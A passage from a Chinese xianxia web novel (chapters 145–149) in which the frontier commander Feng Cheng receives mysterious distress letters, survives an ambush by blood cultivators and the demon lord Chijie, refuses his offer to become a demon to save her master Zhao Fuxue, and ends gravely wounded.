汉子嘿嘿一笑,挠挠头,伸出了手,封澄这才注意到,原来他手里捏着一枚细小的针。 他挠挠头道:“近来不是战事频频嘛,我娘子挂心,不知听了哪的说法,说是家里人贴身物件做条腰带,生死关头能再保一命。将军见笑,我娘子拙笨,不通女红之术,还非要将东西寄来,叫我自己缝呢……您瞧这笨婆娘。” 虽嘴中埋怨,话音里却是足以溺死人的满足。 好像那纸上画的不是什么笨婆娘的腰带,反倒是给她上吊的绳似的。 封澄莫名觉得突然就被塞了一口什么东西,堵得她有些噎。 长煌最近确实有些骚动,边卫同天魔正面相抗,见惯了生死,家中亲眷却挂心无比。 封澄看着他捏着的针,不知想到了何处,半晌,道:“看得清针孔么?” 汉子尴尬:“诶?我手粗,看得清,穿起来却费事。” 封澄拿过针,一下穿过,转身便回了帐中。 …… 她在床上翻覆了片刻,最终,咻地一个鲤鱼打挺坐了起来。 就一次,干完这次,再也不干了。 “你能不能帮我弄到赵负雪的东西?”她咬着笔杆写,“旧衣服,书房剩下的墨块,换下来的剑坠,随便什么都行。” 末了,她又做贼心虚地添上一句。 “师徒之谊,亲厚之举,勿作他想。” 一气呵成地写罢,她鬼鬼祟祟地把信装了起来,随后趁着夜色,一声唿哨,只见一只乌黑枭鸟扑腾着双翅落在了她的手臂上,封澄拿肉干递给它,枭鸟不接肉干,反倒是低下头蹭了蹭她,才叼了肉干,任封澄在它腿上系了信件。 枭鸟又蹭了蹭她的脸,力气之大几乎将她蹭得偏过头去,她笑着撸了一把鸟毛,直把鸟摸舒服了,它才肯展开双翅,向南面飞去。 灵器催动需耗用灵石,通讯灵器更是所耗甚多,姜徵虽不在乎这些,奈何封澄穷得叮当响,只好去讨好长煌此地的枭鸟。 拉舍尔部之人见她驯鸟反被鸟扑腾,哈哈大笑,上来教了她,才免得她受渺无音讯之苦。 不过姜徵收到这封信,想来不会有什么好脸色了,封澄这般想着,回到了帐中,正待收拾笔墨躺下,忽然又一枭鸟扑腾近来,紧接着,叼给她另一封漆黑的信件。 她心中奇怪,皱眉打开,映入眼帘四个大字,乃是灵力所书,阅过即无。 “阿澄救我。” 第146章 第146章前尘暮暮 三日后。 姜徵收到了信,第一反应是十分费解。 封澄狗屁不通颠三倒四地送了个信来,开口就是要她弄到赵负雪的东西——天地良心,她要那个做什么? 想来是有正事要用的,姜徵把信看了看,并未读懂封澄扭扭捏捏的话外之音,毅然决然地做出了她认为最有效率的举措。 直接要。 于是赵年额角跳着青筋,看着彬彬有礼的姜徵,咬牙切齿半晌,几乎气得倒仰过去,才从齿缝里露出一句话。 “那逆徒要尊者的贴身衣物?” 姜徵纠正道:“并没有贴身二字。” 赵年咬牙切齿:“你叫那兔崽子从哪来的滚到哪里去。正道不走,她走歪门邪道,这是她能要的东西吗?滚滚滚。” 就在赵年抑制不住破口大骂的冲动时,身后却有人淡淡道:“且退下。” 二人同时抬了头。 堂上悠悠转出了一个坐着轮椅的素白人影,赵负雪穿着一身雪白大氅,眉宇冷淡,墨发披顺,手中把玩着一只圆溜溜的灵器——姜徵定睛一看,那是通讯之用。 想来是寻赵年另有要事,姜徵见状,不敢逗留,便告辞下去了。 第二 日,姜徵本想给封澄回信,叫她另寻他法,可忽然间赵年便传人唤她,她去赵府一拜见,却见赵年拿了一条鲜红的手绳来。 她有些好奇地接过了手绳。 赵年的面色不知为何有些奇怪,好像又青又绿一般:“……此乃尊者从前旧物,丢掉可惜,送去封澄那里,也算去得其所。” 一条颜色莹润的红色手绳,怎么看怎么不像旧年之物,连色彩斑驳都分毫未见,姜徵心中暗暗奇怪,口中却一字不提,姜徵谢过赵年,正待辞去,却听赵年忽然道:“你近来,可曾见到陈还否?” 陈还? 姜徵微微有些愕然,摇了摇头:“……只在封澄归京之时见过,我平素忙碌,已经许久未出姜家了。” 赵年自觉懊恼似的叹了一口气,挥挥手,姜徵在她骤然有些苍老的神色里窥见了一丝病急乱投医般的茫然,忽然间福至心灵,开口问道:“陈还不见了吗?” 赵年有些沉痛地皱了眉。 “封澄去长煌前夜,陈还收到了一封信,脸色大变,只留了口信辞行。” 姜徵闻言,拱手道:“敢问此信为何处发出?” 赵年抬起了眼睛,中年女子威严的目光茫然地看着她。 “还沙。” *** “这信是还沙来的?”封澄皱眉,眼前的信使忙着安抚挂在身上的数只枭鸟,见她堵在案前,愈发地不耐烦。 “每封信借我们的灵兽发出,”他脸色不善地解释,“都有灵印写在旁人不可见的信封之上,你们哪怕自负火眼金睛,照旧是比不过我们的灵器——还有没有事?没有就不要耽误后面的人。” 她若有所思地离开。 可是她从来都没有去过还沙,唯一一个认识的还沙人,还是前几日才来看她的陈还。 “不管怎样,还是回信试试吧……”她喃喃道。 依着寄来的地址,封澄试探地写了一封信回去,与此同时,按着陈还在洛京的通讯之处,也寄了一封信回去。 三日后,封澄收到了两封信。 枭鸟落下的刹那,她便觉不妙,只见漆黑新封之中,照旧装着一封灵力写成的短信。 上书四字:阿澄救我。 她几乎抑制不住狂跳的心脏,抢在字迹消失之前,将这几个字牢牢地刻在脑中。 比起上一次,这次的字迹更为仓促,仿佛是掺和着猩红鲜血而写成的狂草,几乎能透过字体,察觉到背后之人的惊惶与无措,封澄深吸一口气,把信件装好,贴身放置,才去拆洛京来的那一封信。 令她有些失望的是,这并不是陈还的来信。 姜徵写道:“赵负雪的贴身物件,我拿到了,随信附上,另有一事望你留心——陈还失踪不见,年院长心急如焚。” 看到这里,一根鲜红的手绳顺着信纸掉了出来,封澄捡起手绳,有些讶异——赵负雪竟然会佩戴这样鲜艳的颜色吗? 此时陈还渺无音讯,封澄当机立断,只觉宁肯错杀也绝不放过,随即写信回去,一边向姜徵告知漆黑求救信一事,另一边将红绳珍重系在腕上,随后去寻姜逢请假,准备前往还沙。 是夜,夜枭嗥叫。 封澄辗转难眠,心头总牵挂着渺无音讯的陈还,正当纠结之时,帐外却传来了枭鸟扑通翅膀的声音,她急忙出去,只见一枭鸟却歪扭八斜地落在了帐前,这鸟看着仿佛喝的多了,扭扭捏捏,走着八字,封澄一见,登时气急,把这乱七八糟的鸟一把抓着脖子拎回了帐中。 它很不满意地嘎啊了一声,抖了抖脖子,封澄抓着脖子解下信来,一见,便是陈还无比熟悉的字体。 “我与温师叔在中水游历,”陈还写道,“前些日子受了伤,所幸偶遇师叔,一切安好,一切有师叔照料,请我师尊放心,代我康健些许,便启程回京。” 她又随信问候了些什么,封澄两眼不眨地看着信,终于,心头巨石放了下来。 发信之人不是陈还。 温师叔最为可靠,陈还也并非手无缚鸡之力的凡人。 不过是一场乌龙,不过是一只喝醉了的枭鸟。 ……可话又说回来了,发信之人不是陈还,那么又是谁,向她一而再、再而三地发求救信呢? 漆黑的求救信并未因陈还的安全而消失,在此后的一月之中,信件从原先的七日一封,逐渐变成了十日一封,再渐渐地,便成了一月一封。 封澄每月都会在洛京的信件之中收到一封语焉不详的漆黑求救信,上面照旧,一无线索,二无身份,只有用灵力凝成的字,和照旧不变的“阿澄救命”。 一而再,再而三,封澄即便是再担忧,也品出了几分不对,她心头疲惫,半晌,沉沉睡去。 边卫琐事繁多,忙于训练,也顺便打了几场不大不小的仗,便一晃半年过去了。 这封求救信仿佛是如影随形的鬼魅一样,封澄无论怎么躲,这封信都会原样摆在她的面前,后来即便她刻意不接,这信也会夹在姜徵或其他亲友的信件之中,飘飘然地落在她的面前。 直接拒收所有信件,自然是可行之举。 而她不可能放过赵负雪的消息。 此日,正是封澄未眠的第七日了,那封信又一次出现在了她的案上——她眼下青黑,人却死活睡不着,心中古怪非比寻常,正在此时,却有人走进了她议事的帐门。 “边关来报,”寸金沉着脸道,“拉舍尔部出现血修团伙,据说手上已有了三十余条人命。” 封澄一愣,随即猛地站起来:“血修?这种东西怎么会出现在长煌?” 长煌地广人稀,并不是适合血修修行之地,寸金摇了摇头,沉痛道:“十有八九是因为这批血修手上有旧案……他们来长煌,本是为了躲避天机师追捕,拉舍尔部之民心善收留,便惹来了如此大祸。” 闻言,帐中军人皆心有愤愤然——试问驻扎边卫这些人,谁没有蒙受过拉舍尔部的恩惠?谁不曾去参与过拉舍尔部的庆典?谁在危难之际没有被拉舍尔部的人伸手拉过? 当即便有人坐不住了,一人站起道:“将军,咱们即刻请兵出征,去把作乱拉舍尔部的血修杀干净!” 封澄军功渐起,这半年间,将士们也逐渐正眼瞧她。正是前几日姜逢被内鬼偷袭受了伤,眼下铁旗营之事,竟全盘交给了她。 “……”封澄皱了皱眉,抬手道:“倾巢而出,反倒不便剿匪,寸金,从天机军点一批人来。” 一将士不忿道:“俺们也能杀血修!” 封澄一听就头疼:“滚边儿去,血修这种东西,即便是修士也难以讨到好,更何况是食人无数的穷凶极恶之徒?且老实呆着。” 那将士委委屈屈地缩了回去,一旁的天机师却撇了嘴,小声道:“爱去的不叫去,不爱去的偏叫去,啧。” 封澄耳尖,当即面无表情地走下去,正正地停在了方才说出这句话的将士前。 “把你的话吃回去。” 那少爷兵本就不服,见她上前,面色不善道:“我就说说怎么了?又没真不去,女人气量短,丁点小事就上纲上线,不……” 那个“行”字还未发出音,腮边便骤然传来了巨力,他猛地偏过头去,一低头,哗啦啦地吐出了一口的牙。 封澄收回了拳头,目不斜视地走了出去,身后众将士尾随其后,只听她冷冷道:“扰乱军心,杖五十。” 那将士一听,急切无比,含糊不清地便怒道:“你知道我是谁吗!我是京城——” 早有将士上来拖死狗一样将他拖下,封澄居高临下,冷冷道:“你该庆幸没把你爹供出来,否则即便是天皇老子,也要蒙个治家不严之罪。” 少爷兵们兔死狐悲地看着被拖出去挨军棍的男子,一时间心有戚戚然,寸金再点兵之时,便没有敢低头支吾的了。 封澄也为天机军这群少爷头痛,得幸于早年之业,边境的天魔一直以来并不怎么 凶险,以至于天机军便成了旁人家给自家孩子镀金的妙地——杀天魔谁不会啊?天魔一杀就死,成型、成规模的大魔早被那剑镇长煌的尊者杀干净了,区区长煌,有何可怕? 原本他们倒也很乐于接受封澄——毕竟盛名在外的尊者亲徒,又加上是个小姑娘,看起来十分无害,想来也是和他们一样,被长辈送来边关镀金的,谁料封澄闷声不吭,冷不丁便带着铁旗营那帮杂鱼横杀入阵,这玩命的打法谁见过? 众少爷兵们便于此人划分界限了——军功虽好,可总得有命去拿不是? 此次遇到血修,倒还真是铁旗营的天机军所碰到最硬的茬儿了。 寸金清点过后,从铁旗营中选出二百轻骑,皆为修行有成、且有灵器傍身的天机师,封澄带着人,一骑绝尘,向着拉舍尔部前去。 前尘暮暮,不见黎明。 第147章 第147章全都得死在这里 血修凶险,于是封澄自然是亲自带兵。 封澄去时,拉舍尔部的骁勇之士已将埋伏在人群中的大部分血修清点出来,举着火把,封澄一一见过,所留下的几个穷凶极恶的悍匪,身旁也已经撤离干净。封澄骑马过去,与为首的天巫略示意了一下,便冷冷地挥手:“动手。” 火光摇曳,一人小心道:“这‘天机少爷军’动手,能行吗?” 天机军在边关名声不好,铁旗营更甚,素有“天机少爷军”之雅号,一人听闻,恨恨地剜了一眼发声者,封澄恨铁不成钢道:“看什么看?耍什么厉害?冤枉你了吗?” 那人一想起封澄的雷霆手段,当即头一缩,不动弹了。 他们倒想蒙个麻袋把封澄打一顿,奈何此人背后有天机之首做靠山,那赵家护犊子岂是敢惹的? 实在是惹也惹不起,打也打不过,一时之间只好认命,憋着一股气便将那困兽犹斗的血修抓了干净。 二百个软弱草包,那就不是软弱草包了。 干脆利落收兵,随即搜查现场,清点伤员,无一伤亡,封澄只觉此行顺利得要命,连带着身后将士也自感十分良好地挺胸抬头,她微微皱了皱眉,心中有些奇怪。 为首一憨厚男子道:“血修着实凶恶,大伙儿剿匪也辛苦,不如入我们帐中,略饮一口薄酒再走?” 拉舍尔部像是天机军的另一家乡一般,封澄瞧着众人殷切的表情,沉吟片刻,道:“军务在身,不得饮酒,心领了。” 此言一出,天机军中似乎有些委屈之言,封澄一记眼刀过去,众人哑了。 那男子瞄了一眼被捆在马后的血修,想了想,殷切道:“马也累了,不若去池边,略饮一饮马罢。” 闻言,铁旗营下马匹打了响鼻。封澄又在迟疑,下面有人小心翼翼道:“……将军?” 沉思片刻,封澄道:“马早已饮过了,天色已晚,还是来日再聚。” 提马回身之时,封澄忽觉为首男子举着的火把有些说不出的古怪之处,再定睛一看,竟然硬生生地从中看出了几个重影,她平素眼睛比鹰还厉害些,见状,怀疑地擦了擦眼皮,正思忖是否近日劳碌,却见为首男子突然走近,嘴角露出个微笑道:“将军,你怎么了?” 一旁的天巫道:“将军军务在身,你今日为何这般不懂事?还不速速让开。” 不对,不对。 封澄越发觉得身体沉了,连手脚都僵硬了起来,她忽然间察觉到了此次追捕的古怪之处,随即猛然地看向了身后的血修! ——血修濒死,多有自爆,他们所控的血修有术法囚禁也就罢了,在他们之前被捉拿的那些血修呢? 他们怎么会乖乖地束手就擒? 陡然间,封澄厉声道:“无关人等撤离!结阵御敌!” 拉舍尔部众民尚且茫然不知,身后的天机军条件反射般遵从封澄军令,灵力一走,却齐齐变了脸色。 “我的灵力被封住了!” “我的也使用不出来!” 一片混乱之中,封澄抬起眼睛,目光牢牢地锁在了为首的青年男子面上。 男子看着她。 看着她。 他目不转睛地看着她,嘴缓缓地勾起,越张越大,越张越大。 他嘻嘻道:“封将军,军务缠身,也留下吧?” 天巫震声道:“拉奎,你疯了?!” 封澄却冷冷道:“他没疯,只是到了今日,终于露出本相了。” 拉奎抬了抬下巴,天巫心中知晓此人叛部:“这是我拉舍尔部之宝,名为锁灵香,可镇住修士灵力,使之一刻之内灵力不稳,但……但你即便镇住了天机军的灵力又如何?难道凭你一人,还想从天机军手中救走这些血修吗?” 封澄冷笑:“事已至此,您难道还看不明白?他所为的不是救走这群血修,而是意将天机军引进来,一网打尽。” 天巫更为震惊,连带着身后不停地试着结阵的天机军也惊诧了:“这怎么可能?血修灵力同样被封,他们如何敌得过我们这么多人!” 拉奎道:“……很聪明嘛,小将军。” 封澄道:“血修十年不食血肉,即如凡人,你灵力微弱到如此地步,想必也有数十年未饮血肉了,为何再入迷途?” 其实不必说,她也明白,血修戒食血肉的每一分,每一秒,都在经受着非人一般的诱惑。 无数的瞬间,无数次的自我抨击。 咬一口吧。 拉奎忍耐数十年,已成了拉舍尔部人人信赖的好人,他有妻子,有孩子,有朋友,有仇人,像芸芸众生中再寻常不过的一个。 而引诱他重新吞下血肉,或许只需要一个气息奄奄的血修,决定逼他吃一口血。 他不答,反而道:“小将军,你既然这么聪明,怎么不想想,比起血修,谁更想要你们天机军的小命?” 封澄厉声道:“祭出灵器,结阵!” 空旷之地,锁灵香效果并不理想,众天机军咬牙,勉强撑起了一道灵流摇晃的阵法,紧接着,便有数道黑影袭杀而来,眼尖之人立即道:“是天魔!” “天魔?血修勾结天魔!” 话虽这么说,阵中几人却不约而同地放松了神经,甚至有人念念道:“天魔嘛……我小时候没有灵气,也赤手空拳地打死过几个。” 话音未落,一行鲜血飙出。 这鲜血乃是一只漆黑利爪伸过了屏障,径直取走了阵中一人的人头所至,见状,立即有几人瞳孔剧烈一缩,紧接着,失声大叫:“这不是天魔,救命!救命!” 这哪里是寻常凡人边卫便能处理的天魔?虽说样貌几乎一模一样,可身上魔气足足抵得上十个! 封澄眉宇一皱,抬手便掏出腰间信号筒,发信求救,谁料信号烟花摇摇摆摆地飞出去,却好像在天际碰到了什么屏障一般,蓬地一声,哑了。 “有大魔在附近布下魔气屏障。”封澄心道,“有备而来,背后至少有一只人形天魔。” 拉奎嘻嘻道:“跑不脱的,小将军,一个都跑不脱呀。” 阵脚一乱,天机军内部竟先溃逃,封澄牙一咬,道:“全部顶住,后退者斩!” 几个蠢蠢欲动的将士哇哇大叫,疯了一般奔逃而出,封澄暗骂一声纯货,急运灵力堵住缺口,只听嚓嚓两声,那几个奔逃之人身首异处,腔子里的鲜血足足飙出三尺高。 封澄道:“锁灵香效力只有一刻!且此地空旷,想必药效更是有限。顶住一刻!” 此时此刻,众人无不庆幸封澄方才并未允将士饮酒饮马,否则无论是人群分散而行还是饮了掺料酒水,下场定然是惨过十倍。 漆黑暮色之中,上空似乎传来一道男子的笑声。 “封澄啊,”他道,“你不会拥有同类的,除了我。” 所以,她信赖的天机军,她喜爱的拉舍尔部。 都要统统消失。 只是声音茫然,又被云层吞吃,故听得分外不清晰,封澄只当是耳中嗡鸣,紧接着,便又有几个天机师口吐鲜血倒地,封澄一看便知——灵力不足,阵法出现了漏洞,被伏击了。 天机军将拉舍尔部之民牢牢地护在阵法之中,眼见着能动之人越来越少,忽然间,天巫大喝一声,紧接着操起了拐杖,隔着屏障,狠狠的抽打着外面的天魔。 “动手!”他大喝道,“有弓箭的拿弓箭,有弩的拿弩,我们也能杀了它们!” 阵法中瑟瑟发抖的凡人齐齐一怔,紧接着醒转过来,拿起武器,反而站在了天机军的前面。 天机军也都是年轻的孩子,见凡夫俗子,甚至妇孺老弱挡在面前,第一反应便是错愕,紧接着便是呵斥:“快回去,站在外面做什么!快回去!” 他们不退,反而更加向前,哪怕被天魔的利爪刺伤,也竭力攻击着。 可奈何实力悬殊,一片兵荒马乱之中,封澄只见到阵中之人越来越少。 不能这样了,她想,再不想出破局之法,所有人,有一个算一个,全都得死在这里。 第148章 第148章结业礼 于是她不言,而是转过身,目光看向了拉奎,平静道:“条件。” 拉奎怔了怔,似乎是有些怀疑自己的耳朵:“你说什么?” 封澄道:“封锁此地的魔气非寻常魔物,乃是开了灵智的人形天魔,我要和它谈条件。” 闻言,拉奎倍感荒谬,他难以置信道:“眼下死局已定,你为何笃定,主人会想和你、一个必败的死局之将谈条件?” 说罢,他摊了摊手,把脸埋在飞出来的尸体上,贪婪地吞咽咀嚼,通红的嘴埋在血肉里,眼珠却贪婪地盯着阵中的活人,此举之意不言而喻——比起血肉寡淡的凡人,当然是修行有成的修士更美味些。 部民里发出一道凄厉的女声:“拉奎,你不配为人!” 埋在血肉里的拉奎猛地僵住了,半晌,他眼底划过一瞬痛楚,拉奎的眼睛似乎想要在人群中找到些什么,可方走了一步,眼前的血肉又将他的注意力重新吸了回去。 他茫然地低下头,机械地把脸埋进去,随着一阵呜噜噜的声音,他咬断了口中血肉,抹了把脸抬头,重新坚定地很阴狠了起来:“速战速决,都给我杀干净!” 支撑不住的天机师越来越多,战友的、拉舍尔部民的尸体不断地堆叠,恐惧在天机军之中蔓延,天巫咬牙道:“姑娘,不要和他们谈条件!我们战死,死得其所!” 尸体越叠越多,同伴的尸身似乎激出了这“少爷军”埋在隐蔽处的血气,众将士嘶声道:“凡人靠后!不要往前冲!” 封澄扬起手,腕间红绳在她麦色的手腕上轻轻一滑动,隐在了轻铠之下,她平静道:“我自是有玉石俱焚之法,你且问它感不感兴趣。” 拉奎迟疑道:“口说无凭!” 封澄一甩手,只见手中白光一现,剑阵灵光霎时暴涨! 她道:“我师从当世第一剑修,习得剑法万千,有一道断剑祭命之术,十里内生灵皆为我剑气所杀。不知你那位遮遮掩掩不肯露面的主人,还要不要活命。” 此言一出,众人皆惊——世上还有这种玉石俱焚的邪门剑术!可从前并未听闻啊! 封澄心中也是直打鼓,自爆之法,无论何道都是会沾一点点的,剑修亦是如此,不过断剑祭命之术倒是她胡说八道,十里生灵是杀不成的,一里都成问题。 可拉奎倒是迟疑了片刻,他看着灵光骤然暴涨的剑阵,又思及这半年多来与天机军的接触——新来的小将军的确是第一剑修的亲徒,这点是绝对没错的。 第一剑修,那么手中有什么邪门的剑法,都是不奇怪的。 封澄厉声道:“叫你主人来!否则在场诸位,一个也别想活!” 剑阵光芒越来越盛,拉奎初初恢复血修身份,只觉人生前所未有地痛快,断断不想这么折在此处,闻言,他牙一咬,方要出口说话,却见他面前缓缓降落了一只漆黑的枭鸟。 这只枭鸟与封澄平素送信的那些形貌相似,只是长得格外大些,还长了一条蛇似的颈,蛇似的鳞。 封澄看着它。 夜枭偏头看了看封澄,露出了人一样生动的笑意,随后,开口道:“退。” 漆黑的天魔陡然停住了进攻,像乖顺的狗一样贴住了耳朵,缓缓地退了回去。 “你很会威胁人,”他微笑道,“自我介绍一下,我名持劫,久仰大名,小封将军。” 随着他的声音,夜枭渐渐地褪去了羽毛,好似从壳中重新长出一个人一般吗,走出了一个单薄且纤瘦的少年。 他看起来十分美丽,明明是一身漆黑,封澄却莫名想到了色彩缤纷的雄鸟,持劫穿着贴身的劲装,露出了两条覆盖着漂亮肌肉的手臂,颈上似乎是蛇形刺青,一路蜿蜒到衣物之下,极为妖异。 封澄心想:“天魔之主,竟是个年岁极轻的少年。” 她的确想过来者会是狡诈的人形天魔,却万万没有想到,竟然是天魔之主持劫。 持劫微笑,他拍了拍手,众人身侧骤然腾起漆黑羽毛,纷乱如瀑的羽毛霎时将众人淹没,一时之间,天地间仿佛只有持劫与封澄二人。 这是什么地方?封澄警惕地环顾四周,持劫打了个响指:“此地只有你我二人。” 他长得出乎封澄的意料,少年的皮肤十分白皙,下巴线条精致流畅,一对漆黑鸦羽遮蔽他上半张脸,这般模样,看起来本该是庄严肃穆的,可他偏生左耳下垂着两条长长的金色的蛇形耳坠,一笑,竟然还有两颗乖巧的小虎牙,看着俏皮极了。 “取得交易对象的好感是很有必要的,”他勾着唇,“我当然觉得你会喜欢同龄人多一些,至少不会喜欢总板着脸的老男人,尤其是冷冰冰那种。” 封澄眉心一皱,心道他说什么乱七八糟的,转头道:“放了他们,条件随你提。” 持劫在半空中翘起二郎腿,线条流畅的小腿踩着空气,半笑不笑:“小将军真是痛快人。” 他打了个响指,微笑道:“条件很简单,你服下我的血,变成和我一样的天魔,就可以了。” 封澄微微地偏了偏头,疑惑道:“人,也可以变成天魔?” 持劫道:“当然不可以,人就是人,仙就是仙,魔就是魔,生来是什么,一辈子就是什么。”顿了顿,他又道:“……可你不一样,你是我唯一的同类,所以,你会尝试一下的,对不对?” 封澄看着那滴莹润的魔血,心头微微一怔,不自觉地想到了另一则由人变魔的传闻。 那群臭名昭著的血修,似乎有一个奇怪的、名叫“血池”的东西。 持劫微笑:“怎么,这有什么好犹豫的?你不要外面那群废物的命了么?” 封澄定定地看着他,持劫满意地看见她伸出手,纠结而犹豫地接过了血珠。 这当然没有什么可犹豫的,她那颗果决的心会替她做出一切决定,哪怕这决定并没有在大脑中转一圈。 血珠落在封澄唇边时,忽然间,她唇角勾了个笑意出来。 “你以为我会吃下去吗?” 持劫眯了眯眼睛——什么意思? 忽然间,围绕在二人四周的羽毛发出了剧烈的震动之声,紧接着,蓬然一声,破出了一个巨大的洞口,随即便是一人的惊呼:“师妹!你还好吧?” 是寸金?持劫猛地一转头,目光有些愕然——他分明记得,入阵的天机军中没有寸金! 封澄慢条斯理地抽出了腰间的长剑,雪亮的月色在长生之上绕了一个美妙的剑光。 “你以为凭空调动隐匿如此规模的天魔,天机军会一无所知吗?” 阵外传来厮杀之声,不断地有魔与人的血飙到漆黑的鸦羽之上。 “天机军是草包居多……可并不全都是草包。此次追捕,兵分两路,一路随我直杀血修,一路追查天魔踪迹,只是你与锁灵香的出现,是我并未想到的,不过不妨事,我只要拖到副将发觉此处异样,或是锁灵香失效就可以了——你们并未布防身后吧?天魔之主?” 阵外的喊杀声震天,封澄抬手 ,扬起一道雪亮的弧:“所以,现在我能斩杀你了吗?天魔之主。” 大势已去,持劫微微睁大眼睛,半晌,勾起了嘴角。 他拍了拍手,唇角勾起:“不错。” 雪亮的剑光霎时斩去了他的一只手臂,砰地一声,血肉落地,发出沉闷的声响,不料持劫仍旧微笑:“可我放在天平上的另一个筹码,是你无计拒绝的,小将军。” 封澄甩去长生上的血,新奇地看着不露半分痛色的持劫。 “赵负雪伤重,对不对?” 刹那间,封澄变了脸色。 持劫微笑:“我还知道,他前些日子闭了关,可小将军知不知道,他前些日子闭关,并非是意在修行,而是伤势严重,不得不闭关疗伤?” 陡然间,封澄唇上血色尽数褪去,她压着眼睛,死死地盯着他:“我收到的消息,是他伤势渐好……” 持劫挥了挥仅剩的手,打断了她。 “原先呢,好好闭关,是不会有问题的。可是前几日伤势急转直下,小将军知道缘由么?” 封澄垂下了眼睛。 她知道。 持劫微笑:“知道这种时候,要怎么救他么?” 不待封澄回答,他便挥了挥手,断臂处的血流重新凝成了一粒血珠。 “人形天魔,”他唇角勾起,“人形天魔的血肉,可以生死人、肉白骨,可还有一法,是世人不知的。” “作为天生的造物,我们能贮存暴虐溢出的灵力,而不至死。” “他乃至寒之体,剑骨奇才,如若灵力持续暴走,将活不过一年……除非他的灵力被吞噬,吞噬得一干二净。” 封澄的目光怔怔地停在了那粒珠子上。 “可人形天魔,绝不会为世代为仇的剑修吞噬灵力。” 持劫打了个响指。 “而你可以嘛,”他咧着嘴笑,“我敢保证,你会平安地变成天魔的,这是我的血……你会变成和我一样的东西。” 话已至此,持劫自信,这番话一定能把封澄打动——她碰到赵负雪的事情时,理智大约为零。 可出乎他的意料,封澄微微偏了偏头。 “你凭什么认为,我师尊会容忍我这样救他?” 持劫愣住了。 她拍了拍手,长剑寒光凛冽。 “他教我修道练体,扶我心,锻我志,费尽心力。我若这么贸然信你,化了天魔,”她干脆利落地杀向他的面门,“才是亏耗了他的心血。” “师尊乃天下第一剑修,”她扬声道,“所见所闻无数,踏遍万水千山,道心纯澈,正道之首,我为何不去问他的话,反而信你一只来历不明的天魔?” …… 与此同时,洛京之中。 赵负雪淡淡道:“‘折柳’给她了么?” 赵年微微颔首。 “通讯灵器已送向长煌大院,今夜便该到军营了。” 闻言,赵负雪唇角似乎勾出个淡淡的笑意。 “好。”他这般说着,便停下了修剪梅枝的手,轮椅辘辘,带着他向书房走去。 赵年看着他的背影,很心累地叹了口气。 封澄穷鬼一个,用不起通讯灵器,也花不了灵石。 赵负雪嘴上不言,却埋首于书房,于小小一方“折柳”上叠落了数百个储灵阵,做了一个既不需额外护理,也不需添灵补石的通讯灵器来。 此等精细入微的上百个储灵阵法,即便是宫中最顶尖的天机灵器上也不见得有,可赵负雪埋头多日做出这些叠阵来,竟然只是为了给一走了之、不留消息的没良心徒弟传信用! 画废了多少了通讯灵器!炸了多少灵石! 赵年想想就觉得自己要倒仰过去了。 “说是天机院——”赵负雪的声音远远传来,“补给她的结业礼。” 这么大手笔的结业礼,也得她肯信才行,赵年腹诽一句,转身走向了赵府大门。 第149章 第149章回京(还没回 漫天喊杀声中,天魔渐渐败退,笼罩在敌阵正中的漆黑羽毛仿佛被捅传了般炸开,杀红了眼的众人看过去,只见从中走出一人影,沉默地抬起了手。 手中是一颗硕大的、鸟类的头颅。 “祸首已然伏诛,”封澄道,“余者格杀勿论!” 笼在拉舍尔部上空的魔气烟消云散,放出的求救信号也顺势送到了天机营本部,天魔本就无甚灵智,失了持劫,更是混乱如野兽,不多时便被恢复了灵力的天机军们杀了个干净。 大劫过后,伤亡者的血肉尸身与天魔的骸骨混成一团,似是难舍难分。 寸金吩咐人下去整理战后事宜,余光瞥见封澄的身影孤身向后去,心念一动,转身便去。正待开口询问,却见她骤然矮下身去,哇地一口吐了血。 刹那间,寸金脑中一根弦被猛地扯断了,他失声道:“来人!来人!赶快来人!” 在陷入黑沉世界前,封澄似乎在耳边听到了一声熟悉的笑声。 那笑声属于持劫,却并不只属于持劫。 好似从前听到过,封澄想。 姜逢端坐帐中,眼见求救花火,正心急如焚地等待消息,却听外面一阵嘈杂的兵马声,他连忙拄着不便行动的腿,一掀帐门,只听寸金失声道:“将军,快叫军医来!” 姜逢强定住神,寒声道:“消息封锁,封澄重伤之事,谁说我要谁的头!” 跟在他们身后的还有伤痕累累的天机铁骑,军医营一见,立即将人一个个捉了回去,一女子端坐封澄榻前,手一放上,便皱了眉头:“强行冲破经脉封锁,体内灵力乱行,伤及肺腑,简直不要命……若非天生有几分体魄,不等灵力放出来,她便早已变成血漏子了!” 寸金连忙道:“请孙大人尽力施救,无论用什么药材灵器,只管开口。” 孙小荷轻飘飘地瞥了他一眼,嗤笑一声:“即便拿最粗陋的药材,我也照样救人。” 闻言,寸金忽然想起众人常说此人的怪脾气,当即闭了嘴,一言不发,正低头时,忽然面上便被抛了一张素黄纸来,孙小荷笔下如风,干脆道:“既然财大气粗,那就把这些东西弄来,记住了,三日之内。” 寸金如蒙大赦地带着方子,一路小跑出了帐门,孙小荷端坐榻前,若有所思地回过头,深深地看了一眼榻上女子。 她眼下青黑,脸色苍白,憔悴而单薄地躺在榻上,似乎深陷梦魇般。 而孙小荷的目光却停在她颈前的狼牙上。 “拉舍尔部的勇士,”她有些意外,嗤笑一声,“就这个小东西?” 比起个个壮如牛犊的拉舍尔部战士,身量轻薄的封澄,几乎像只绵羊一样无力。 三日之中,天机营忙如登天,一边焦头烂额于持劫的重新出世,一边忙碌于营内伤员的后续事宜,一边还要布防巡逻,姜逢短短两日便像老了七八岁一般,于是看着士兵带着一堆包裹在封澄帐前时,他忽然就觉得,他有些年纪大了。 “我来吧,”姜逢叹气,“你去忙碌。” 掀帐进去,便被屋中药气腾了满脸,孙小 荷头也不回道:“药材放西边,灵器放东边,不要乱套,不要拆封,送完就走。” 背后无声,她有些奇怪地回头,见姜逢带着包裹站在门口,有些意外,点了点头道:“将军。” 不知为何,姜逢进去,有些无措,他纠结地捧着包裹,左右梭巡,慢吞吞地放在了屋中唯一能被称之为桌子的地方。 是封澄那只摆在帐中的小箱子,原本干干净净地铺着草黄的布,眼下已被染成斑驳的药色。 孙小荷欲言又止,半晌,叹了口气,由他去了。 “她好些了?” 孙小荷张了张嘴,半晌,斟酌着道:“命是保住了,只是……” 姜逢一听这个“只是”,简直心底咯噔一声:“只是什么?” 孙小荷道:“只是经脉受损,的确是无计可施了。将来于修行之道,大抵走不了太远。” 顿了顿,她看了一眼榻上封澄,又补充:“她当年入道,八成走的并不是稳扎稳打的路子,灵力凶悍非比寻常,伤人虽利,伤己却也重……这已经是最好的结果了。” 